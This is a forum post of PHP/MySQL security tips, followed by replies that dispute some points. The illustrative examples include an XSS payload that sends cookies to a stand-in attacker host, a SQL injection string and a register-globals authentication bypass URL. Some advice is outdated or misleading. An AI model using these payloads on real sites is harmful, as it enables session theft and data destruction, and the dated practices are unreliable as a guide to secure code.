PHP MySQL Web Development Security Tips - 14 tips you should know when developing with PHP and MySQL

I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn't lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess. I also learnt this while working with software development company


1. Do not trust user input
If you are expecting an integer call intval() (or use cast) or if you don't expect a username to have a dash (-) in it, check it with strstr() and prompt the user that this username is not valid.

Here is an example:
PHP Code:
$post_id = intval($_GET['post_id']);
mysql_query("SELECT * FROM post WHERE id = $post_id");

Now $post_id will be an integer for sure


2. Validate user input on the server side
If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off.
JavaScript validation is only good to reduce the server load.


3. Do not use user input directly in your SQL queries
Use mysql_real_escape_string() to escape the user input.
PHP.net recommends this function: (well a little different)
PHP Code:
function escape($values) {
if(is_array($values)) {
$values = array_map(array(&$this, 'escape'), $values);
} else {
/* Quote if not integer */
if ( !is_numeric($values) || $values{0} == '0' ) {
$values = "'" .mysql_real_escape_string($values) . "'";
}
}
return $values;
}

Then you can use it like this:
PHP Code:
$username = escape($_POST['username']);
mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */


4. In your SQL queries don't put integers in quotes
For example $id is suppose to be an integer:
PHP Code:
$id = "0; DELETE FROM users";
$id = mysql_real_escape_string($id); // 0; DELETE FROM users - mysql_real_escape_string doesn't escape ;
mysql_query("SELECT * FROM users WHERE id='$id'");

Note that, using intval() would fix the problem here.


5. Always escape the output
This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:

[code]
<script>alert('');</script>
[code]

If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:
Code:
<script>document.location.replace('http://attacker/?c='+document.cookie);</script>
With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users' sessions and appear to be logged in as other users.

When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, 'UTF-8');


6. When uploading files, validate the file mime type
If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.

One quick way is to check the file extension:
PHP Code:
$valid_extensions = array('jpg', 'gif', 'png'); // ...

$file_name = basename($_FILES['userfile']['name']);
$_file_name = explode('.', $file_name);
$ext = $_file_name[ count($_file_name) - 1 ];

if( !in_array($ext, $valid_extensions) ) {
/* This file is invalid */
}

Note that validating extension is a very simple way, and not the best way, to validate file uploads but it's effective;
simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.


7. If you are using 3rd party code libraries, be sure to keep them up to date
If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.


8. Give your database users just enough permissions
If a database user is never going to drop tables, then when creating that user don't give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.


9. Do not allow hosts other than localhost to connect to your database
If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.


10. Your library file extensions should be PHP
.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding ) and possibly find exploits or see your passwords etc.
Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.) folders with this one line:
Code:
deny from all

11. Have register globals off or define your variables first
Register globals can be very dangerous, consider this bit of code:
PHP Code:
if( user_logged_in() ) {
$auth = true;
}

if( $auth ) {
/* Do some admin stuff */
}

Now with register globals on an attacker can view this page like this and bypass your authentication:
http://yourwebsite.com/admin.php?auth=1

If you have registered globals on and you can't turn it off for some reason you can fix these issues by defining your variables first:
PHP Code:
$auth = false;
if( user_logged_in() ) {
$auth = true;
}

if( $auth ) {
/* Do some admin stuff */
}

Defining your variables first is a good programming practice that I suggest you follow anyway.



12. Keep PHP itself up to date
Just take a look at www.php.net and see release announcements and note how many security issues they fix on every release to understand why this is important.


13. Read security books
Always find new books about PHP security to read; you can start by reading the 4th book in the PHP Thread, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.


14. Contribute to this list
Feel free to reply to this thread and add to this list, it will be helpful for everyone!

http://www.infysolutions.com

while true, most of this is covered in the PHP FAQ: http://www.dreamincode.net/forums/showtopic32620.htm
and in it's associated links.

I assume this: http://forums.mysql.com/read.php?52,227585,227585 is you, otherwise there wasn't much point in copying it and taking credit.

I'd like to point out that 4 is redundant if you are doing 2 and 3 correctly.
10 is also untrue, if the a file is <?php .. code .. ?> servers will not display the contents no matter what the extension is.

That's only true if the file is sent through the PHP interpreter. If your web server is not configured to execute *.inc files as PHP, then a direct access of somefile.inc will not go through the PHP interpreter. Rather, the server will treat it as a plain text file and and just dump it to the client without even looking for PHP tags. This recommendation stems from the fact that many servers are not set up to serve *.inc files as PHP by default.